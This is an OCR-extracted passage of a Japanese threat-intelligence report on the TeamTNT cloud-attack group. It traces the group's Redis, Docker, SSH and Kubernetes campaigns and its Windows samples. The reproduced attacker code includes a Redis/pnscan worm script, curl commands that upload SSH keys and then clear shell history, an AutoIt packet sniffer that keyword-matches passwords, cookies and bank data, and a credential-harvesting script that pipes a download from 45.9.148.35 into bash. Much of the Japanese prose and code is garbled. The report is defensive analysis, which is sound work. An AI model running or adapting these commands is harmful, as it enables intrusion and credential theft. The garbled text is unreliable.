https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0

setuppn n(){
which -a redis-cli
return_redistools=%?
if [ $return_redistools != @ ]; then
yum install redis -y; yum reinstall redis -y || apt-get install -y redis-tools; apt-get install -y --reinstall redis-tools
fi
which -a pnscan
return_pnscan=%2
if [ $return_pnscan !=@ ]; t
wget -q htt 5.9.148.123/COVID19/bin/pnscan. tar -0 /tmp/pnscan-1.11.tar.gz
tar xfv /tmp/pnscan
rm -f pnscan-1.11.tar
cd /tmp/pnscan-1.11/
make 1lnx
make install
cd ..

rm -fR /tmp/pnscan-1.11/
f

t dbfilename L > /tmp/.dat
> ftmp/.dat
>> [tmp/
A /tmp/.dat
>> ftmp/.dat
Jtmp/ .dat
Jtmp/.dat
>» [tmp/.dat
>» [tmp/.dat

»> /tmp/.dat

>» [tmp/.dat
t ftmp/ .dat

> ftmp/.dat
11" >> ftmp/.dat

31:lan.redis.pwn.sh DX U—>> 3w ~

lan.redis. pwn.sn

32:lan.redis.pwn.sh (CKD TEITSNIEROVT hERIT IS D

minion_worker.sh
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ion fireupthiscrap(){
make_foo
make_payload
scannen
1
n make_payload(){
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo f i dbfilename "ba
echo
echo
echo 'set b
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo fig t dbfilename “
echo
echo
echo
echo
echo fig t dbfilename "¢
echo e’ »> .dat
echo fi t dbfilename "
echo ' .dat
echo "flu 1' >»» .dat
sleep 1

33:minion_worker.sh XU —>< 3w ~

minion-setup.sh XU ~& Redis #25—4"w b& L. URL
http://45.9.148[.]1123/MoneroOcean/sh/init.sh Z{EA LT, T|H U Redis 1 > X5 > X L TEIT
=N init.sh ROUT hzSFo>O0—-RUET,

EBE5MAPTUT K~ (minion_worker.sh & lan.redis.pwn.sh) & Redis ZXHREULTH D, FHIDK
BB LIz —)L (bioset & pnscan) Z{ER L TWET, AT UT bOEE & EMEDFALIEICE
DWT. INBSDRIUT M Redis B—/\ZWHRE UTEIREEHRO—EP CTHh o e &iEmdird o &N
TEFEY,
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http://45.9.148[.]123/MoneroOcean/sh/init.sh

<2020 fF B>

2020 FDOEFEELE®IBL T, TeamTNT (FFEH Uz Docker I FZEN(CLELE. BEfERAESN
BARAFMIE. FERASNEEMEIFB(TMTOELUZ. EEREMD 1 DI, Cado Security (CKD
TERAICIRESNTZL DS, AWS OFRIHBEROEATURZ, BRI7 O —(F. BEULENYS > EDI—
HOR—LT 1 LI NIZIAF > UT. T7AIL ~/.aws/DREIBERZRUF UIC. T7MILARD
Mo reiz&ld. /.aws/config I 7 1)L E—FEICREBE (CK> THIlENTWSIH—/NIC Py TO— RE
nNx9.

BRI DS —FFc. LI (CIE SNz BN D EHRZE Web U1 MMIABULIASHFE LTz, B 34
(E7RY TeamTNT @D Web Y+ bDRXTU—->2 3w ME. 42—y b ETHFABIRE/R free/open”
B> RRY OZXDUUR hEFRRUTWNET . IAZEMMERE U RV OWMEEELEE. COBR 5 —(&
RBRELIENS > ONERIP 200 (CRIFLTCEFELURZ. ZOFT—FZFIALT. IN5DOH> RRyOX
ZR/ELTVCERMENSHDFET,

@ teamtnt.red

Cuckoo Sandbox

ipr202 201 3 A00C808 1
Patip i 50,140 186 156 8086/
help-/1E7 243 6. 1965000/
htip/i139.09 68 805020
héfp:/1124 205 248 83:8000/ - (CH)
i 213,239 193 2 1680800
hetp-/1E1.05 226.1 458000/
/184, 146 54 930
i1 39 80, 12312550500
g 143, 245,38, 84,8000/
help-//220. 100,162 13,6000/
g 210,383, 1816000/
htip AT 11525 187 E000
hétpelM 83,60, T6 1 4. 2000/
hatp 34 203 209 97 8000/
heips+/188 66201132/

CAPEv2 Sandbox

Ralp 242 32 241,175 5000/
hatpr8a. T 200, T

Achtung TeamTNT hoator kolne dieser Sandboxos, o3 slnd im Nea frel zugdnghiche Sandbaxes!
Ob und oder fir was ihr sie benuizi egt ganz alleln in ecrer clgenen Yeraotworiung!

Atrontion TearTNT does mol faas any of theso sandboxas. they ane froely accessible sandboxes!
Whetheor and or for what you uso /t s entirely your own rosponsibiinyd

34:TeamTNT DI THA EMSDROIV—->23v b, DT THA MIREESINTULRWVWE Y RiIRv O ENB U
F U= (Cado Security D] &8 THERE : Team TNT - AWS JLF >3 v L2 BB RIDIESIA =>PJ—LA 2020).
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https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials
https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials
https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials

Docker OEH

BEOFEETIE. mxutzh.sh WSS TI)ILROUT h2ERH LT Docker IRA hZBRAULELZ. DX
OUT ~ME 3 DOBIET pwn EWDSZRIDMEEZIFOE UET . RYIDEIE(E. EITRF(C mxutzh.sh
T7AINSEENZDERBURAIDEIE T Uz, EOM. OOy UEFEEEN. KhD(CEZEEN:
H— )5S CDBEZES T DRDICIRDELUR. B35 (CEERZRUET . BROXIUT I 7A1)L
ZEALT. BURY ND—=0 LMD >BEMICLE L. B 36 (& DD (CO-H/ILRy kD
— D& AFv 293" lan" T 7 A IILDOREEZERLU TLET,

' 2375 50008
' 2376 50000

77 50000
43 50000
' 4244 50000

35 MFUME SN/ Pwn B#l. COBRIEAF > 92 IP D&%, 518 ELTRRAIVUT NI 7AILISEIT DT
<. URL ZERUTRELET.

while read localrange

do

pwn %localrange 2375 500080
pwn $localrange 2376 50008

pwn $localrange 2377 50000
pwn $localrange 4243 50000
pwn %$localrange 4244 50000
done < /tmp/.tnt.lan.route

36:@E Ry D —2 DA Docker B —/)\ X+ > 9 BlebICERAETND Pwn B%,

pwn BBED UEEENFE UL, EDORIE. Alpine A XA—>2%45FD>20O0—-RIBDIV RZEITLUEL
Jzo SHAR=Z(F FEMES TILROUT bSO~ R 2mHTHIBENE T, COMEEICIX
T. EOWRBEHOTY h77yTH(C, RAIIDFENKEULIZSCHR T, S TILAIYT hE base-
64 TI>O— RN —FELTESNF LIz, ® 37 (& BITERSNE pwn B8O—&27RL T
WET., BRI —IE Alpine 1 A—Z(THIRT Ubuntu A A= ZFERAUTCRAIUREZERITI DI
HDEREBEIMUE U,
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uMiM2

37:Docker B — /% Monero &1 =22 931D A>T HICBERSE I EH(TERN BB DOREED—ED.

JNO7IL bRy RD—20X (&, 2020 &£ 8 A(C. TeamTNT WMEAERIBLENIZFHLWILD T 7(CE
IBLMR—bEIUU-XUFEUI, Cetus EVWVDERIDVILD T 7 (& BIHDIAFLED Docker /\——7R
v D 1 DICREUFE U, Cetus (CIFEANIC 2 DDOZ3TIMhH D, Y1 F—=i# L. Docker Z=E
TUTWBMBDOT —/NCRERELUFET . NG BE7 TS —(C K> THERSNIZRAIDI RS LA A RD

NILDO T ERODNET,

TeamTNT (. EENDBIAKIN S  BRE LIS > TOFEEBER T D & UF UTC EIDKEEE T,
procfs ADERITHDOTOCAD I A IS (CZEDFT 4 LI ~NUEI DT> KUT. top & ps DEINSET
POTOTRZIERRICUEU. EOBEEETIE. Linux H—RILEZ21—)L (LKM) JL—bhFv b
ZEALTINZESICEDFELURZ. B 38 . IL—bhFY RDA2AR=ILDEFERUET,
Diamorphine EMEENDIL— bFw MME GitHub TR hENTVWBSA -T2V —-AD)L— bFwv
T9Y,

TeamTNT [CLBIUT hrZ>JomsmtEm  32/81 ©2022 Dai Nippon Printing Co., Ltd. All Rights Reserved.


https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
https://github.com/m0nad/Diamorphine

—g
—g
—g
—g
—g
—g
-g
—g
—g
—g
-g

4 v/null 1=/dev/null
get inst
n clean all
-y - g futils-libelf-devel.x86 64 git make gcc ev/null 1>/dev/null
“kern -r)" v/null 1>/dev/null

v/null 1=/dev/null

38:Diamorphine Dt 7V I ROUT ~, B—FIAVEF—EEILRY—)LEA A S=)LUET,

ROUT NE Ib— bFy bDOY—XO— R%ZE git BATHYI>0O— RIBFIC. LKM DT>/ A)LIC
MBI —FINAY S —EY—)LEA I N—ILUET, EZa IO /qLanreg. E2a -
ZO—RUFET, JL—bFy NI YA F—ZIERRICT D EHIHEAEINET. CniE. =JFI)L 31
ZTOCRIGEETDCEICKODTEITEINET ., K39 (C. COflERULET.

curl http

curl http://teamtn

39: KB, IL— bFY MADSTFILEN LU TIYAF—2IERRICITDIIAT REIELTVET,

SSH EH

COHEF(C. SSH BAFEEEHRNFTLUL. TEXE K40 (TRILDC RESNTTRA DS
KDZ LD SSHBEED 7 A )L EHEENK T,
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uploadthersal(){

"userfile /sshd config" $RSAUPLOAD 2=/dev/null
"userfile g 53" $RSAUPLOAD 2=, null
userfile d rsa.pub" $RSAUPLOAD dev/null
"userfile g d SRSAUPLOAD dev/null
"userfile . fid oub" $RSAUPLOAD 2=/dev/null
userfile C thor ys" $RSAUPLOAD 2=/dev/null
curl -F "userfile g cnown hosts HHwH”PLﬂHD 2=/dev/null
curl -F "userfile 1 hi ' A & 2=/dev/null

curl -F "userfile=@/etc
history -c

}

curl -
curl -
curl -
curl -
curl -

curl -

M M T M M T T M

4 40:TeamTNT (. BENEY—/IDSHRESEDIFEIT 7 MILPOH#I 7L E2S5CEBMUE L.

Linux B—/(ZiRN & I DMthD% < DBRII7 IS — EEERIC. TeamTNT € known_hosts J 7 1 )L&{E
FAUT. LS DRIEEEDHIMDON > ZRBDIFET, SNITIZ T, TeamTNT (&, Y>> HEHRE
NTWBd3Ry NDJ—2%, pnscan ZFERAUTAFv> U, R—h 2272 UX >0 L TWBDNS >
ZHERUET. 41 (TRILDIC, #ERIE known_hosts T 71 JLICEBINENET .

getsomelanssh(){
mkdir /fhome/hilde / -p 2=/dev/null 1=/dev/null
> /home/hilde/.ss m_ v/null 1=/dev
ip route show | grep -v grep | grep "/" | awk '{print $1}' => /home/hilde/.ssh/.ranges

an $ >> /home/hilde/.ssh/.known_hosts
done;
rm -f /homeshilde/ /. ranges
cat /home/hilde/.ssh; m hosts | awk '{print 51}' => /home/hilde/.ssh/known hosts
rm -f /home/hilde, /. Kknown hosts

}

X 41: TeamTNT (&, R— k222w > LTWBMMOTS > E2O—HILRY NDO—DOTRFv > UET,

NBDREADRECERTERMZRDITDIZHIC, BRI IT—(EIRTDOIR—LTAIAIT
id_rsa J71ILZRL. EENI IdentityFile ¥ EZHRELUET, =5I(C. bash DEREMNS SSH
& scp OEADFERICDNWTHRLET . AROFEZANT, HHEE LR —N\ZRUFET. fIX
(., MDY >DRA ST 7AI)L. SSH BE T 7 A ILTEE Nz HostName. bash DFEEE.

known_hosts 771 JLDIEE., 7R— 22 THEBIP (CEH L CWDTOTRREZERLUE T, BIFED
FET, N NADEGICERATERIRRDI T 7N MERESNE T, FBINRETRUE HAD
FERUZEVID TeamTNT IREVEEULE. BREL7OY—(HMEALZNS > D bash BRED 7 1 L& Fit
SETVWBRIETY, COT—FZFALT. EBHICFHATET MDY > MNSHD IP 7 RLXZEUN
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EIDHEZERELUTCVDAREENSDET. K42 (F. FARALZSESFROVY RZRLUTVET,

42:TeamTNT HY, DOV U (CRRRETERIEHD SSH . Y>>, I—YT7HDO>2 hERDIFBIEHICERI DIV
> ROURSTY,

INEESNTET—FF RTOUT IASIETS [WRXS—] UXKNIEMENFET . E1-TZ LR &
HENZIRTOT—/NTHEASNET. OJ 12 (CRINTDE. X REEITEN, Ty My TS
TILROVUT SN2 (CFI>O—- RenNFzd., CoOZvI%ZR 43 (SRULET.

ev/null &

chmod +r
chmod

ssh -oStric S y tTimeout=5 $ r@shost -p$sshp "cur
SPWNWITHTHISLINK g q --ma PWNWITHTHIS

43FFEENRR BT E(C AOVT MEA—vacfeERL O >2RA»ET. kHTdE 2y h7vITR
OUT PO O—-RenN, IS UICRITENET,
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DY ADILEICINR T, ROT7AILAAF D> 00— REnNFEd,

docker-update (XMRig)
tshd (Tiny SHell)
kube (Tsunami)

bioset (Rathole)

Docker d>77

WEZKRET DHIC DockerHub 15 [R—=X ] A1 A=A D>2O-RIDIZECNMA T,
AquaSecurity (& TeamTNT DARX G LA A—-ZDFERICEATIHABEIYI - UELZ. I-YT7HD
> b hildeteamtnt (C&> T/\TC7vTO— RENeA A —=Z(E RD 2 DOAFTVUICHFEE=NEL
2o [ TILTOMDPTN] A A=DRFOVUT SIAZJ(ERSTN. RSN A XA—=2(3F3
STFIRAT—TIERAETNTVE UL, FESNEA A—=2(F, GitHub TR h&anTunaA—-7>
V—RXW—)L TS Docker EscapeTool ZERA L TWEKUTe, SRHSINEFEEY—ILDZEL(E. B
709 —DLRIDES EIFE(CLBUTNE LT,
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https://blog.aquasec.com/container-security-tnt-container-attack

<2020 fF >

2020 £ 9 A 8 H. Intezer (& TeamTNT /' Weave Scope EWSIERRDI ST RERY —ILZ=ERL
TWBZEZFERUF UL COY—IUE AT DUST RRIEADIIL 7 Ot X %Z 8] (C U, Docker,
Kubernetes. DC/OS (Distributed Cloud Operating System). AWS Elastic Compute Cloud (ECS)
AN TVET,

Weave Scope (&, ¥ OB—EAR-XDF7T V-2 3>RS IHDENIRI1—FT«' )T« T
9. FIATFEZDHRTERITSNTVWDITOCRDFMIER. &I>TFTOXAEUMAZ. J>7 7
DI D EEF. NSO TFTDOWITNNTA IS+« TS )L ZRA. F1E. B <HEERE.
%< DHEERBA TULET . 44 (&, [Weave Scopel FwIaR—RODRIIJ—>> 3wy NTT,

44:Weave Scope F v 1R— RODXTU—->23v b~

TeamTNT HY. WEEDA > ISA NS IOFvZHIEHT RN TEENRY —ILZERAL TS LN
HIBBUT=DIETNAISH T T UTZ. H5(E. Weave Scope IREDIERDY —)LE2A A =)L TDZE
T, =N\ I RT7ZAZAR=ILUTENDXDIC, YILD T PZERT D LR RIECTHRN
FATINRTOAIY hZEEZUFEU.

Weave Scope (IA—-T>V—-XTOZ 10 hTHD. ZDA X M—)UISHEBNEETY, BRI
—(&F Ubuntu A XA—Z(CEDWTCOTFZERL. XD MEgEZERLELIZ. CDFFEICDNT
(F. BIDOTEOZ 3> THBLELUZ. CORBRT. REBEHEEEDYS DI 7ML AT AICTRIC
ORI TEBz., O D Git THEASNTULBKSIC. WeaveScope #F0>O—-RULT
A2 AM=ILUFUIZ
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https://github.com/weaveworks/scope
https://github.com/weaveworks/scope

45:WeaveScope -1 > A =)LV R

Weave Scope D5 v 1/R— RIC(E. /R— B 4040 570X TEEXT, COR—bhELXHATDIE
[CKD, WEBFICDY—ILOIRTOMEEICTR(CTITCRATETDLDCRDELE,

2020 FFK(C(E. TeamTNT (FEREEIBEHRDEBERICEI T D TTP ZHLA L. RIFSMNTULD AWS FREEHIBIRIC
ITZENCLEFERBATURZ. 2020 £ 10 A/\O7)L bRy KD —OZXWFITUIZLR— b T, HARE
(FBRNI7 05 —(C KD mimipenguin & mimipy OERICDWTEIRELUEUZ. CNS5DY—)LUIEMS
EB EFEETFERTOCRDATINS/I\RT—RES > TIFTBLDCHESNTVET, INSEFER
#9(C. Windows FAD Mimikatz EEED*NIX IR T, RAHEIRNS > TEN/zE. TeamTNT D C2 Y
—INCEHEENF U,

BA T8 ESET (& BE 75— RERICEMUEFHF UL —)LICDVWTY A — bUFE U ATRE L.
AES BES{ER1O0— RZFERALT Go Titikene/\AFUZRDIFHRLE. JUTI—NREITEND
& RAO— RABES{EEN. X5 LAT0—)L memfd_create TR ESNTEAETUDHD T 71 )LICE
FIAFENFE T, COVY—ILE BF2UTAARE(C KD TERENEA—T >V —-XTOZ T O MTH
3 Ezuri LU THEBIENE LIS,
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https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/
https://twitter.com/ESETresearch/status/1321246274570620929
https://twitter.com/guitmz

ESET research
(@ESETresearch

#ESETResearch found a new Linux GoLang sample
(virustotal.com/gui/file/0a569...) that executes malware
related to TeamTNT directly from memory via the
memfd_create technique described in blog.fbkes.ru/eli-
iIn-memory-... and under the name ‘bioset’

@michalmalik 1/3

e Unit 42 @ @Unit42_Intel - Oct 5, 2020

Unit 42 researchers discovered a new variant of cryptojacking malware named
Black-T, authored by TeamTnT. bit.ly/316xQBp

12:23 AM - Oct 28, 2020 . Twitter Web App
46: ESET HAREBEDWY A1 — b NILI T 7 ZES{LT D128 TeamTNT A Ezuri &BE> TWLW\B Z EZ WO TRES.
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<2021 f %>

2021 % 1 A. Lacework Labs (&, TeamTNT AMEA L TL\/Z IRC /Ry T3HS Tsunami DR
e —-ALFEUZ, LTIV TBOIAFNIZEREZME T2 ET. IRCH—/N(THER L. BR
D5 —DIRE EREBDIBIRICEAT I5FMIBEREAF CTETE UL

DOEFRT, £ 200 DRy MMERENTOE LD, BESNZ—RD IP 7 RLX(E 90 DHTUL
Jzo TeamTNT (&, ABEBRY hD—ORDMMDY —/NTHLEN T dEfiZzRA L TWS /MDD EL
Jzo CHUE —BBDRY b NAT OBERI(CHD. BICHER IP 7 RLAZHBL TS EZRLTL)
FIBREULIZDREDETZTICAEBELTED., 50 RIJO/N\ASTHS Tencent. Alibaba.
Amazon Network T/RA hENTWWBI T —/IIRATUZ, 777N TR KB, ISR RV
(CREZLDMY MEFEELTWEUZ REZEEEL. INSORRELEYS 2DV DL
WIRE/ESZ R I DIeh RSN EZRELFE UL,

BRI OF—E Fio, BREULRNYS D TOREEBZERIZHOY—)LEEMUE Uz, 2021 F 1 A, AT
&T Alien Labs (&. TeamTNT (C KB libprocesshider DFERCEAT B LR—hEUU—-XLELE. &
DWY—JLIE. LD_PRELOAD Z AL TCITOLCRZIFRRICTDEHITHERETNTNET . COHRBEAT
ST MItY NPV IROUT MMTLDT/usr/local/lib/systemhealt.so (CEZIAFEN. T« LIF
« T H¥/etc/Id.so.preload (SEBMESNT. BTSNBDIRTOIF7AILTCCORBEAT SO h=E0O—
RTEBLDSCIRADFELIE, TeamTNT (&, libprocesshider Z{FER L T. BER LY > T Tsunami /R
v hZEIEFRIRICUF UTE,

Kubernetes AN E

LD_PRELOAD Z#FERUTCESEEZIEXRRICTDZEE. BIIL—TOROHREEHE TREEINEL
7z, 5ElF, 8B U7z Kubernetes 1 > X5 > A& 35 E L TULET . & Kubernetes / — RIC(F kubelet
EMENDEITHROI -1 "B D, RESTful UOIT A MZEZIFED. TNICEU TRY RTRE
EFEITUE T, BEED Kubernetes T 0O4 A2 bDFT T AL MERLT(E. kubelet N\DERZ 77O H
FFEISNE T, TeamTNT (F. COFEZRZERAL T, BH U Kubernetes 1 > X5 > X (ZT7 01X
U. OAFFTOUTNAZ2IORIINVD T 7ZETLUE LU,

COWEBEEE, NO7ILERY NT—=DOIANRELIEEDT. CORBEETHISH CHERENIT
Hildegard EWSHEHUWILD T 7 (ICDWTERAL CTVWE T, COWREEETI(E, I>FFA A= (H-E
HAEnxtATUR. BRDHDHAEEE. V-2 1)LZFERAL. I TICEITHROITFZEBRALT
EiTenx U,
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https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/
https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/

WEENDAEEEDH D> FTFHE ) — RO%ER(E, masscan (BIOETEBALIEW—IL) & kubelet
D 2 DOVY—I)LICKD>DTEITESNFE UL, mEZEE T D2HC. COWRBEETRIOETHRB L
LD_PRELOAD ZfERHL. XU MOETEZICROVUT hEHIBRLETD,

W T(E. IS5 RY—DREFEHRE RO Kubernetes MIZAYW—)LT3H D Peirates &. BIXNDMESS
BEERLUTCIOTFTOIL—I7 0 haRTIBDYV—ILTHD BOB D 2 DOIT7AILHMETFENZE
uie

O > RO> bO—)L (C2) H—/)\EDEHG LI DIESHIC, YL T 77 (& tmate F/z(E Tsunami
Ry MFERUEUR. dIL—THEDY—)LEFERIT I EDLD ITREIT DIMNEIRIBETY,

SEIOIE/FE T(E. Tsunami /Ry MM, & ZEIR I Bz (C Ezuri ZERALT/\wo=nELE,
ARy hOTOtE X% [bioset] (CERESN. EHQRTOLR(CRDIELELE, COTOTR&AG.
BJ)IL—ThBEOKEFEH CTHERLULEBDTY,

Windows ZiR8(C UTzitdr ?

TeamTNT D> IJS5ZRABELTULWZE TS, VirusTotal ([CXDE. RAAMZED 1 DS 2 DD
Windows PE J 7 AAI)LAF D> 0O0— RENTWBZ &R I EFHF U, VirusTotal DROU—->2 3w
N 47 (RUZET,
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https://github.com/inguardians/peirates
https://github.com/brompwnie/botb
https://analyze.intezer.com/analyses/955136f1-0770-43ef-966e-4cd754462dfb
https://analyze.intezer.com/analyses/955136f1-0770-43ef-966e-4cd754462dfb
https://analyze.intezer.com/analyses/955136f1-0770-43ef-966e-4cd754462dfb

gfg.teamtnt.red

DETECTION DETAILS RELATIONS COMMUNITY

Passive DNS Replication

Date resoclved IP

2021-02-01 107.189.30.191

Siblings

ircteamint.red 45.9.148.85 164.68.106.96 45.9148.123
vpsteamtntred 72.52179.075 23.31.57.89 45.9148.123
ircO3.teamtnt.red 72.52.179.075 45.9.148.85 13.245.9.147

www.teamtnt.red 45.9.148.108

URLs

Scanned Detections URL

2021-04-13 2 /87 http:f‘.-"qu.‘teamtntred.’

2021-03-30 7185 http:/fgfgteamtnt.red/mips

2021-02-01 6183 httpligfg teamint redl.......JsvchostZ.exe |
2021-02-01 6183 http:ifgfgteamtntredi......../snifferexe
2021-02-01 7183 https:/fgfg.teamtnt.red/

Downloaded Files

Scanned Detections Type Name

2021-03-30 237161 ELF

2021-02-04 34/65 Win32 EXE %HOMEPATH%\notepad.exe

2021-03-09 46 (70 Win32 EXE cwindows\system32\j%kwgjsfp.dll

2021-05-25 0 /54 JavaScript invokefunction&function=call_user_func_array&vars[0l=mdS&vars[1][]=VInliz)1

47:2021 £ 2 BIZ TeamTNT D1 > I SHB4F > 0O— RSN/ Windows /N7 71U

BHDT 7 A )L sniffer.exe (F. O>)\AJLENT= Autolt ROV T RTI, ROUT hDO—E8%X 48 (C
RUFET, ROUT MME WinPcap 290> 00— RU. XY ND—O RS T4 v I SHEET -5 %86
S5EUFEYT, 14, /XD —R, L2V b— RIE#R. Cookie IREDF—T— RERRKRUET,
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INSTALLPCAP()

fwinpcap = _PCAPSETUP()

$pcap_devices = PCAPGETDEVICELIST()

$iface = Bx9

$pcap = PCAPSTARTCAPTURE($pcap devices[$iface][@x8], "host " & $pcap devices[$iface][x7] &
" and " & %sniffopt, Ox0, Bx10800, Bx2 ™ Ox18, Ox0)

Dim $keywords[Bx14]

$keywords [8x8 ]
$keywords[@x1]
$keywords[8x2 ]
$keywords[8x3]
Skeywords[@x4 ]
$keywords[@x5]
$keywords[@x6 ]
Skeywords[98x7 ]
$keywords[8x8]
$Skeywords[@x9]
$keywords[@xa]
$keywords[@xb]
$keywords[@xc]
$keywords [@xd ]

$keywords[@xe]
$keywords[@xf]
$keywords[8x18]
fkeywords[@x11]
$keywords[@x12]
$keywords[@x13] = "Cookie: "

f$loothandle =

While True

$apacket =

"GET /"
"POST /"
"Host: ™
"User-Agent:
"Content-"
"password="
"user_ name="
"user="
"Username="
"User="
"login="
“email="
"username="
"holder="
“number="
P

"pin="
"transaction”
“bank”

FileOpen($lootloc, 0x1)
$spackettext = ""
$oldpackettext

_TCP_RECV($pcap)

If UBound($apacket) > @x14 Then
$spackettext = BinaryToString("@x" & $apacket[@x14])
If $spackettext = $oldpackettext Then
Sleep(@xfa)
Continueloop
EndIf
If Stringlen(%$spackettext) > Bxd Then
For $key = 8x8 To UBound($keywords) + @xfrffffff
If StringInStr({%spackettext, $keywords[%key]) Then
If Dec(Hex(BinaryToString("@x" & $apacket[Bxe]))) = 8xlalb Then ExitlLoop
$apackettext = StringSplit(StringReplace($%spackettext, @CR, "™}, @LF)

48:WinPcap Z{FR L CTRY MO —URH TR SN EMET — 5% ED AutolT XU T ~D—Ep

2 FBED T 74)L svchost2.exe (&, XMRig ¥AF—&ZER{TUEI ., J77ILDOI— RBFBEDHTZX
49 (CRUET. CDOT7AILIE. T7-1)L%& notepad.exe ELTIA—HDR—ALAT A —(C 42X
N—=ILl ENET. XAMZ2JVIT MIT T BEINEYS O THRTEZ 384053 NVIDIA
S T4 v OH—RZEFBETDHIC. CUDA BR—hZEFERLTI/IAILENTVET,
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SZ INTEZER ANALYZE Home ocs s Plugins v 25 ( Anayze ) (" SignUpforFree

49:svchost2.exe D— RBFADIIE. T7 AL XMRig VA F—ZFITI D &2 RUTNET

INBDIT 7 A I ZWEEE(CREMITD L FTEEFRATURN, T7AI)LIE TeamTNT D TTP &
—HUTWET . COLR— MMBE SN TV S RIDIRE(FELUE. BRL DY — (SFRLER T B
HB—/NCOUT "RAF—FAZAR=ILUTWET . BRI —(E FILWI—Ty R T (T L
TTRABEITDOTVWERITT, AA8HRIREVRE (C(IFE LM D IEal gt D F T

DT "NIAF—HEITEINDBDE. RS- T1—HD AppDataRoaming¥WinCFG¥Libs¥ 7 #JL5
[CAEENE T, BLTFOIHNS. CDRS/{—(d OpenLibSys M5dD WinRing0x64 THdZ EM
¥IBALE U, CDORSAIN=(F. I—YH-AR=RXT7TUGT—=23>RNU>T 0 (CT7IOTBRTEDK
SCU. BERNCTOCRICBHRT7ZOCAZRMHUET. CDRS1/{—=(E. XMRig forWindows M
—E8TI, XA F—ERSA/N—ZFAUTMSR LZRAICTFIOCAL. AN\ TA - A%
MEEEFET. RSAN—FIEHRTTVT—>3a>0O—E8TIN. ERDEFRZLE T DIZH(CFERT
DRI EZRHUFET.
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https://analyze.intezer.com/files/dd0a5c62db8403263872716b8b2dfd190fcf9c742e9d13ad2c40ab41df7f2045/sub/ec7c7c1e-4e96-4ff3-a283-c159982910e8
https://analyze.intezer.com/files/dd0a5c62db8403263872716b8b2dfd190fcf9c742e9d13ad2c40ab41df7f2045/sub/ec7c7c1e-4e96-4ff3-a283-c159982910e8
https://analyze.intezer.com/files/dd0a5c62db8403263872716b8b2dfd190fcf9c742e9d13ad2c40ab41df7f2045/sub/ec7c7c1e-4e96-4ff3-a283-c159982910e8
https://analyze.intezer.com/files/dd0a5c62db8403263872716b8b2dfd190fcf9c742e9d13ad2c40ab41df7f2045/sub/ec7c7c1e-4e96-4ff3-a283-c159982910e8
https://xmrig.com/docs/miner/randomx-optimization-guide/msr
https://xmrig.com/docs/miner/randomx-optimization-guide/msr

Trusted 5 11bd2c9

nown trusted software and exists in Intezer's trusted

Genetic Analysis

Original File

Genetic Summary Related Samples Code (15) Strings (86) Capabilities (3)

OpenLibSys.org

Nito Programs

Size
SHA256
MD5
Company
Product

File Type

SHA1

50:XMRigMiner [C&KD T > X b—)LEMN/z WinRing0x64 RS-/ \—D3H

TeamTNT [CLBIUT hrZ>JogsmtEm  45/81 ©2022 Dai Nippon Printing Co., Ltd. All Rights Reserved.


https://analyze.intezer.com/files/11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
https://analyze.intezer.com/files/11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
https://analyze.intezer.com/files/11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
https://analyze.intezer.com/files/11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

<2021 &HB>

2021 FD&F. TeamTNT (&, SREEBEWRDBREIMALELZ. bLD RYAOOMERUZS TILRD
UT TR BRTZO9—EUTDT7T I —2 3> - EBERICRRZILALTLE U,

SSH

AWS

Docker

S3

GitHub

Shodan

Google Cloud

Ngrok

Pidgin

FileZilla

HexChat

MoneroGuiWallet

CloudFlared

Davfs2

PostgreSQL

e SMB

51 (CRIRDVUT NI T7AIINZREBLEIN, T—FZ2ERAHHEITZ&EFHDFEFA. TeamTNT
PNEEBEEO—IRE U TRHESNE I 7 ANIVZRHEUIENEDH. FLEDLDICERHMHHE UTZDOME
ABHTY,

RALEROBRIRICINZ T, BRI —EETLTWBRITT RBIEDT -9 &HZEUIaHFE U,
52 (. AWS CLI ZfER LT —4 &Mt I3V s grab_aws_data.sh DX Z=~Rw h&ERUTLY
ES
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https://www.trendmicro.com/en_gb/research/21/e/teamtnt-extended-credential-harvester-targets-cloud-services-other-software.html

#! /bin/bash

looking for this data / app config:

#

#

# SSH, AWS, Docker, s3cfg, GitHub, Shodan, gcloud,

# Ngrok, Pidgin, FilezZilla, HexChat, MoneroGuiWallet,
# CloudFlared, davfs2, PostgresQL, smbClients
#
#
#
c

wget -0 - http://45.9.148.35/chimaera/sh/search.sh |bash
lear; echo "";echo "";echo "scan for files and data of interest: ";echo "";echo ""
FULL_ARRAY=("/etc/passwd-s3fs" "/etc/davfs2/secrets” "/etc/zypp/credentials.d/NCCcredentials" "/etc/cloudflared/config.yml" "/etc/eksctl/metadata.env")

PATH_ARRAY=(".ssh/id_rsa"™ ".ssh/id_rsa.pub” ".ssh/known_hosts" ".ssh/config h/authorized_keys" ".ssh/authorized_keys2" \
.aws/config" ". credentials” ".aws/credentials.gpg .docker/config.j ".docker/ca.pem" ".s3backer_passwd" "s3proxy.conf" \
".s3ql/authinfo2 .passwd-s3fs" ".s3cfg" ".git-credentials" ".gitconfig" ". _key" ".ngrok2/ngrok.yml" ".purple/accounts.xml" \
".config/filezilla/filezilla.xml" ".config/filezilla/recentservers.xml .config/hexchat/servlist.co .config/monero-project/monero-core.conf" \
".boto” ".netrc" ".config/gcloud/access_tokens.db" ".config/gcloud/credentials.db” ".davfs2/secrets” ".pgpass" ".local/share/jupyter/runtime/notebook_cookie_secret” \
".smbclient.conf" ".smbcredentials"” ".samba_credentials")

for CHECK_PATH in S{PATH_ARRAY[@]}; do

if [ "$(whoami)" = "root" ];then

